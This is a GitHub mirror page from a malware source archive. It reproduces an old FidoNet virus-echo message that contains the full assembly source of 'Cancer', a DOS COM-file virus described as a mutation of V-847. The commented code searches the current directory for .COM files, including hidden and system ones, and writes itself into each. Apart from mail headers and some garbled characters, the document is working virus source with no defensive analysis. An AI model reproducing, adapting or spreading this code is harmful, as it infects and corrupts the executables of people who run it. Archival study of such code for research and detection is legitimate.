mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
161 lines
4.3 KiB
NASM
161 lines
4.3 KiB
NASM
|
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
|
|||
|
; Msg : 1 of 57
|
|||
|
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09
|
|||
|
; To : - *.* - Fri 11 Nov 94 08:10
|
|||
|
; Subj : PIXLCANC.ASM
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;.RealName: Max Ivanov
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;* Kicked-up by MeteO (2:5030/136)
|
|||
|
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
|
|||
|
;* From : Viral Doctor, 2:283/718 (06 Nov 94 16:12)
|
|||
|
;* To : Fred Lee
|
|||
|
;* Subj : PIXLCANC.ASM
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;@RFC-Path:
|
|||
|
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
|||
|
;18.n283!not-for-mail
|
|||
|
;@RFC-Return-Receipt-To: Viral.Doctor@f718.n283.z2.fidonet.org
|
|||
|
page ,132
|
|||
|
name CANCER
|
|||
|
title Cancer - a mutation of the V-847 virus
|
|||
|
.radix 16
|
|||
|
code segment
|
|||
|
assume cs:code,ds:code
|
|||
|
org 100
|
|||
|
|
|||
|
olddta equ 80
|
|||
|
virlen equ offset endcode - offset start
|
|||
|
smalcod equ offset endcode - offset transf
|
|||
|
buffer equ offset endcode + 100
|
|||
|
newdta equ offset endcode + 10
|
|||
|
fname = newdta + 1E
|
|||
|
virlenx = offset endcode - offset start
|
|||
|
|
|||
|
start:
|
|||
|
jmp cancer
|
|||
|
|
|||
|
ident dw 'VI'
|
|||
|
counter db 0
|
|||
|
allcom db '*.COM',0
|
|||
|
vleng db virlen
|
|||
|
n_10D db 3 ;Unused
|
|||
|
progbeg dd ?
|
|||
|
eof dw ?
|
|||
|
handle dw ?
|
|||
|
|
|||
|
cancer:
|
|||
|
mov ax,cs ;Move program code
|
|||
|
add ax,1000 ; 64K bytes forward
|
|||
|
mov es,ax
|
|||
|
inc [counter]
|
|||
|
mov si,offset start
|
|||
|
xor di,di
|
|||
|
mov cx,virlen
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov dx,newdta ;Set new Disk Transfer Address
|
|||
|
mov ah,1A ;Set DTA
|
|||
|
int 21
|
|||
|
mov dx,offset allcom ;Search for '*.COM' files
|
|||
|
mov cx,110b ;Normal, Hidden or System
|
|||
|
mov ah,4E ;Find First file
|
|||
|
int 21
|
|||
|
jc done ;Quit if none found
|
|||
|
|
|||
|
mainlp:
|
|||
|
mov dx,offset fname
|
|||
|
mov ax,3D02 ;Open file in Read/Write mode
|
|||
|
int 21
|
|||
|
mov [handle],ax ;Save handle
|
|||
|
mov bx,ax
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov dx,buffer
|
|||
|
mov cx,0FFFF ;Read all bytes
|
|||
|
mov ah,3F ;Read from handle
|
|||
|
int 21 ;Bytes read in AX
|
|||
|
add ax,buffer
|
|||
|
mov cs:[eof],ax ;Save pointer to the end of file
|
|||
|
|
|||
|
xor cx,cx ;Go to file beginning
|
|||
|
mov dx,cx
|
|||
|
mov bx,cs:[handle]
|
|||
|
mov ax,4200 ;LSEEK from the beginning of the file
|
|||
|
int 21
|
|||
|
jc close ;Leave this file if error occures
|
|||
|
|
|||
|
mov dx,0 ;Write the whole code (virus+file)
|
|||
|
mov cx,cs:[eof] ; back onto the file
|
|||
|
mov bx,cs:[handle]
|
|||
|
mov ah,40 ;Write to handle
|
|||
|
int 21
|
|||
|
|
|||
|
close:
|
|||
|
mov bx,cs:[handle]
|
|||
|
mov ah,3E ;Close the file
|
|||
|
int 21
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds ;Restore DS
|
|||
|
mov ah,4F ;Find next matching file
|
|||
|
mov dx,newdta
|
|||
|
int 21
|
|||
|
jc done ;Exit if all found
|
|||
|
jmp mainlp ;Otherwise loop again
|
|||
|
|
|||
|
done:
|
|||
|
mov dx,olddta ;Restore old Disk Transfer Address
|
|||
|
mov ah,1A ;Set DTA
|
|||
|
int 21
|
|||
|
|
|||
|
mov si,offset transf ;Move this part of code
|
|||
|
mov cx,smalcod ;Code length
|
|||
|
xor di,di ;Move to ES:0
|
|||
|
rep movsb ;Do it
|
|||
|
|
|||
|
xor di,di ;Clear DI
|
|||
|
mov word ptr cs:[progbeg],0
|
|||
|
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
|||
|
jmp cs:[progbeg] ;Jump at program start
|
|||
|
|
|||
|
transf:
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
mov si,buffer+100
|
|||
|
cmp [counter],1
|
|||
|
jne skip
|
|||
|
sub si,200
|
|||
|
skip:
|
|||
|
mov di,offset start
|
|||
|
mov cx,0FFFF ;Restore original program's code
|
|||
|
sub cx,si
|
|||
|
rep movsb
|
|||
|
mov word ptr cs:[start],offset start
|
|||
|
mov word ptr cs:[start+2],ds
|
|||
|
jmp dword ptr cs:[start] ;Jump to program start
|
|||
|
endcode label byte
|
|||
|
|
|||
|
int 20 ;Dummy program
|
|||
|
int 20 ;???
|
|||
|
|
|||
|
db 0 ;Unused
|
|||
|
|
|||
|
code ends
|
|||
|
end start
|
|||
|
;
|
|||
|
;-+- DinoMail v.1.0 Alpha
|
|||
|
; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718)
|
|||
|
;=============================================================================
|
|||
|
;
|
|||
|
;Yoo-hooo-oo, -!
|
|||
|
;
|
|||
|
;
|
|||
|
; <20> The Me<4D>eO
|
|||
|
;
|
|||
|
;/n No default libraries
|
|||
|
;
|
|||
|
;--- Aidstest Null: /Kill
|
|||
|
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
|
|||
|
|